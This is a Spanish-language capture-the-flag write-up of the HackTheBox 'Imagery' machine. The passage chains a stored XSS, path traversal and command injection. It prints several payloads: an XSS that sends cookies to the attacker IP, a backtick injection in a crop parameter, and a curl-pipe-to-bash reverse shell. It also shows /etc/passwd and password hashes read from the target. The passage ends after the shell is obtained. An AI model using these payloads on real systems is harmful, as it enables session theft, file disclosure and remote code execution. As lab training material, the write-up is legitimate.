This page looks best with JavaScript enabled

HackTheBox - Imagery

 •  ✍️ sckull

En Imagery descubrimos multiples vulnerabilidades web, iniciando con un XSS para escalar privilegios. Luego, explotar Path Traversal para la lectura y analisis de codigo fuente de la aplicacion. Esto ultimo permitio identificar y explotar Command Injection para acceso inicial. Dentro, encontramos un backup encriptado en AES el cual contenia credenciales que permitieron cambiar a un nuevo usuario. Finalmente escalamos privilegos tras registra un cronjob a traves de un comando privilegiado.

Nombre Imagery
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2025-09-27
IP 10.10.11.88
Maker

Nab6eel

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [316, 330, 1200, 1346, 1760, 1045, 646, 157, 46, 99],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (8000) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sun Sep 28 21:18:18 2025 as: /usr/lib/nmap/nmap --privileged -p22,8000 -sV -sC -oN nmap_scan 10.10.11.88
Nmap scan report for 10.10.11.88
Host is up (0.087s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 28 21:18:28 2025 -- 1 IP address (1 host up) scanned in 9.96 seconds

Web Site

Los headers del sitio muestran un servidor Werkzeug.

1
2
3
4
5
6
7
8
9
❯ curl -sI 10.10.11.88:8000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Mon, 29 Sep 2025 03:19:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 146960
Connection: close

El sitio se describe como una galeria en linea.

image

Vemos dos formularios, registro y login.

image
image

Website - User

Tras registrar un usuario y autenticarnos, se muestra una galeria vacia.

image

El sitio tiene un formulario para subir imagenes.

image

Tras subir una imagen esta se muestra en la galeria.

image
image

La imagen tiene varias opciones, unicamente dos son funcionales. La opcion de eliminar imagenes tiene dos opciones.

image
image

La creacion de grupo de imagenes se limita unicamente al formulario.

image
image

Bug Report

En el sitio tambien existe un formulario para reportar un bug.

image

Tras enviar un reporte se indica una revision de este por el Admin.

image

XSS via Bug Report

En el codigo fuente del sitio encontramos funciones en javascript para el sitio. loadBugReports() es la encargada de obtener los reportes y mostrarlos, en esta se utiliza DOMPurify.sanitize esto no permitiria ataques XSS sin embargo, unicamente se utiliza este en el id, reporter y nombre del reporte. En detalles del reporte (${report.details}) esta funcion no aplica.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
async function loadBugReports() {
    const bugReportsList = document.getElementById('bug-reports-list');
    const noBugReports = document.getElementById('no-bug-reports');

    if (!bugReportsList || !noBugReports) {
        console.error("Error: Admin panel bug report elements not found.");
        return;
    }

    bugReportsList.innerHTML = '';
    noBugReports.style.display = 'none';

    try {
        const response = await fetch(`${window.location.origin}/admin/bug_reports`);
        const data = await response.json();

        if (data.success) {
            if (data.bug_reports.length === 0) {
                noBugReports.style.display = 'block';
            } else {
                data.bug_reports.forEach(report => {
                    const reportCard = document.createElement('div');
                    reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
                    
                    reportCard.innerHTML = `
                        <div>
                            <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
                            <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
                            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
                            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
                            <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
                                ${report.details}
                            </div>
                        </div>
                        <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
                            Delete
                        </button>
                    `;
                    bugReportsList.appendChild(reportCard);
                });
            }
        } else {
            showMessage(data.message, 'error');
        }
    } catch (error) {
        console.error('Error loading bug reports:', error);
        showMessage('Failed to load bug reports. Please try again later.', 'error');
    }
}

Utilizamos el siguiente payload para enviar el contenido del sitio.

1
<img src onerror=fetch('http://10.10.14.4',{method:'POST',body:document.body})>

Vemos en netcat una solicitud post con el contenido del sitio, se listan opciones de administrador. Tambien, se listan los usuarios registrados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
❯ nc -lvvvp 80
listening on [any] 80 ...
10.10.11.88: inverse host lookup failed: Unknown host
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.88] 33986
POST / HTTP/1.1
Host: 10.10.14.4
Connection: keep-alive
Content-Length: 604
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://0.0.0.0:8000
Referer: http://0.0.0.0:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Imagery
Home
Gallery
Upload
Admin Panel
Logout
Admin Panel
User Management

Email ID: admin@imagery.htb (Admin)

ID: a1b2c3d4

Download Log
Admin User

Email ID: testuser@imagery.htb

ID: e5f6g7h8

Download Log
Delete User
Submitted Bug Reports

Report ID: 11c40f5c-f5e5-4fa5-96a9-9ee8f88554f6

Submitted by: sckull@imagery.htb (ID: 11c8d489) on 9/29/2025, 4:41:04 AM

Bug Name: abc
Bug Details:
Delete
Imagery™

© 2025 Imagery. All rights reserved.

Quick Links
Home
Gallery
Upload
Admin Panel
Connect With Us
Facebook
Twitter
Instagram
Contact Us

support@imagery.com

123 Gallery Lane, Art City sent 0, rcvd 987

Cambiamos el payload para obtener la cookie del admin.

1
2
# cookie
<img src onerror=fetch('http://10.10.14.4/',{method:'POST',body:document.cookie})>

Un pequeno script de python imprime los headers y el body de las solicitudes POST. Observamos la cookie del admin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ python app.py;
 * Serving Flask app 'app'
# [... cut ...]
--------------------------------------------------
[POST Request Received]

--- HEADERS ---
  Host: '10.10.14.4'
  Connection: 'keep-alive'
  Content-Length: '194'
  User-Agent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36'
  Content-Type: 'text/plain;charset=UTF-8'
  Accept: '*/*'
  Origin: 'http://0.0.0.0:8000'
  Referer: 'http://0.0.0.0:8000/'
  Accept-Encoding: 'gzip, deflate'
  Accept-Language: 'en-US,en;q=0.9'

--- BODY ---
  Raw Data: 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY'
--------------------------------------------------
10.10.11.88 - - [29/Sep/2025 00:31:11] "POST / HTTP/1.1" 200 -

Access as Admin

Reemplazamos esta cookie en nuestro navegador logrando acceso como admin.

image

Logs

Cada usuario tiene un archivo de log accesible por el sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
GET /admin/get_system_log?log_identifier=sckull%40imagery.htb.log HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY


HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7

[2025-09-29T06:30:40.881350] Uploaded image: batman.jpeg (ID: 38b0eb05-311e-47e3-b386-7bd47b955e1f) to group 'My Images'.
[2025-09-29T06:30:44.286062] Logged out successfully.
[2025-09-29T06:30:58.799133] Registered successfully.
[2025-09-29T06:31:02.119479] Logged in successfully.

Path Traversal

Tras modificar el valor de log_identifier este nos permite acceder a archivos de la maquina sin restricciones, lo que indica una vulnerabilidad path traversal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
GET /admin/get_system_log?log_identifier=/etc/passwd HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
mark:x:1002:1002::/home/mark:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
dhcpcd:x:110:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

Observamos al usuario web y mark como registrados.

1
2
3
4
5
6
7
❯ curl -siX GET -b 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY' 'http://10.10.11.88:8000/admin/get_system_log?log_identifier=/etc/passwd' | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
mark:x:1002:1002::/home/mark:/bin/bash

Source Code

Logramos obtener el codigo fuente de la aplicacion a traves de esta vulnerabilidad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
GET /admin/get_system_log?log_identifier=../app.py HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7

from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
    for collection_to_add in default_collections:
        if collection_to_add not in existing_collection_names_in_database:
            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
    _save_data(current_database_data)
    for user_entry in current_database_data.get('users', []):
        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
        if not os.path.exists(user_log_file_path):
            with open(user_log_file_path, 'w') as f:
                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
    port = int(os.environ.get("PORT", 8000))
    if port in BLOCKED_APP_PORTS:
        print(f"Port {port} is blocked for security reasons. Please choose another port.")
        sys.exit(1)
    app_core.run(debug=False, host='0.0.0.0', port=port)

En config.py se indica la base de datos en archivo json y el uso de dos ejecutables: convert y exiftool.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
GET /admin/get_system_log?log_identifier=../config.py HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7

import os
import ipaddress

DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'

os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)

MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1

ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {
    'image/jpeg',
    'image/png',
    'image/gif',
    'image/bmp',
    'image/tiff',
    'application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {
    'image/jpeg',
    'image/png',
    'image/gif',
    'image/bmp',
    'image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024

BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')

FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('172.0.0.0/12'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'

El archivo json de base de datos contiene los hashes de usuarios registrados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
GET /admin/get_system_log?log_identifier=../db.json HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7

{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "sckull@imagery.htb",
            "password": "9e8694e99216221dad8f6fd183904504",
            "displayId": "47041e8e",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],
    "images": [
        {
            "id": "38b0eb05-311e-47e3-b386-7bd47b955e1f",
            "filename": "faf65210-8d17-4d4c-a070-76645f524f17_batman.jpeg",
            "url": "/uploads/faf65210-8d17-4d4c-a070-76645f524f17_batman.jpeg",
            "title": "batman",
            "description": "",
            "timestamp": "2025-09-29T06:30:40.880818",
            "uploadedBy": "sckull@imagery.htb",
            "uploadedByDisplayId": "4de03ee2",
            "group": "My Images",
            "type": "original",
            "actual_mimetype": "image/jpeg"
        }
    ],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ],
    "bug_reports": [
        {
            "id": "fe6a46e0-20ab-4014-b7d3-11bd5c58faf3",
            "name": "ccccc",
            "details": "<img src onerror=fetch('http://10.10.14.4/',{method:'POST',body:document.cookie})>",
            "reporter": "sckull@imagery.htb",
            "reporterDisplayId": "4de03ee2",
            "timestamp": "2025-09-29T06:30:35.107412"
        }
    ]
}

Sin embargo no encontramos el valor del hash del admin, unicamente de testuser.

Hash Type Result
5d9c1d507a3f76af1e5c97a3ad1eaa31 Unknown Not found.
2c65c8d7bfbca32a3ed42596192384f6 md5 iambatman

testuser

Tras el analisis en api_edit.py encontramos una posibilidad de Command Injection en /apply_visual_transform en la variable command la cual toma valores del usuario para construir y luego ejecutar un comando segun el tipo de ’transformacion’ de la imagen, aunque todo recae a una sesion de cuenta test como se indica al inicio: session.get('is_testuser_account').

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# api_edit.py

# [... cut ...]

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
    if not session.get('is_testuser_account'):
        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
    request_payload = request.get_json()
    image_id = request_payload.get('imageId')
    transform_type = request_payload.get('transformType')
    params = request_payload.get('params', {})
    if not image_id or not transform_type:
        return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
    application_data = _load_data()
    original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
    if not original_image:
        return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
    original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
    if not os.path.exists(original_filepath):
        return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
    if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
        return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
    original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
    if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
        return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
    try:
        unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
        output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
        output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
        if transform_type == 'crop':
            x = str(params.get('x'))
            y = str(params.get('y'))
            width = str(params.get('width'))
            height = str(params.get('height'))
            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
        elif transform_type == 'rotate':
            degrees = str(params.get('degrees'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'saturation':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'brightness':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'contrast':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        else:
            return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400
        new_image_id = str(uuid.uuid4())
        new_image_entry = {
            'id': new_image_id,
            'filename': output_filename_in_db,
            'url': f'/uploads/{output_filename_in_db}',
            'title': f"Transformed: {original_image['title']}",
            'description': f"Transformed from {original_image['title']} ({transform_type}).",
            'timestamp': datetime.now().isoformat(),
            'uploadedBy': session['username'],
            'uploadedByDisplayId': session['displayId'],
            'group': 'Transformed',
            'type': 'transformed',
            'original_id': original_image['id'],
            'actual_mimetype': get_file_mimetype(output_filepath)
        }
        application_data['images'].append(new_image_entry)
        if not any(coll['name'] == 'Transformed' for coll in application_data.get('image_collections', [])):
            application_data.setdefault('image_collections', []).append({'name': 'Transformed'})
        _save_data(application_data)
        return jsonify({'success': True, 'message': 'Image transformed successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
    except subprocess.CalledProcessError as e:
        return jsonify({'success': False, 'message': f'Image transformation failed: {e.stderr.strip()}'}), 500
    except Exception as e:
        return jsonify({'success': False, 'message': f'An unexpected error occurred during transformation: {str(e)}'}), 500

# [... cut ...]

En api_auth se especifica la sesion para is_testuser_account.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# api_auth.py 
@bp_auth.route('/login', methods=['POST'])
def user_authentication():
    request_payload = request.get_json()
    username = request_payload.get('username')
    password = request_payload.get('password')
    # [... cut ...]
        if current_user_account['password'] == hashed_input_password:
            session['username'] = username
            session['displayId'] = current_user_account['displayId']
            session['isAdmin'] = current_user_account['isAdmin']
            session['is_testuser_account'] = current_user_account.get('isTestuser', False)
            session['is_impersonating_testuser'] = False
            current_user_account['failed_login_attempts'] = 0
            current_user_account['locked_until'] = None
            _save_data(application_data)
            _log_event(username, "Logged in successfully.")
            return jsonify({'success': True, 'message': 'Login successful.', 'displayId': current_user_account['displayId'], 'isAdmin': current_user_account['isAdmin'], 'isTestuser': current_user_account.get('isTestuser', False)}), 200
    # [... cut ...]

Utilizamos las credenciales de testuser, se muestra la opcion de Manage Groups.

image

Tras subir una imagen se muestran mas opciones.

image

Utilizamos la opcion Transform, se listan varias opciones, seleccionamos crop y este muestra la imagen editada.

image

image

Command Injection

Editamos la solicitud para crop y modificamos el valor de x para realizar “command injection”, ejecutamos whoami y id, se muestra que el usuario es web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /apply_visual_transform HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aNouoA.BQ4xJxRYH4cDEcNUCIR7ZJtSgFI

{
   "imageId":"549a504f-c935-4265-9b32-bb10661d67b0",
   "transformType":"crop",
   "params":{
      "x":"`whoami``id`",
      "y":0,
      "width":174,
      "height":174
   }
}

HTTP/1.1 500 INTERNAL SERVER ERROR
Server: Werkzeug/3.1.3 Python/3.12.7

{
   "message":"Image transformation failed: convert: invalid argument for option `-crop': 174x174+webuid=1001(web) @ error/convert.c/ConvertImageCommand/1157.",
   "success":false
}

User - web

Ejecutamos shells para ejecutar una shell inversa logrando el acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# `curl 10.10.14.4:8000/10.10.14.4:1338|bash`
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
10.10.11.88: inverse host lookup failed: Unknown host
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.88] 50686
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
web
uid=1001(web) gid=1001(web) groups=1001(web)
/home/web/web
$

Encontramos las credenciales para el usuario administrador en admin.py.

 1
 2
 3
 4
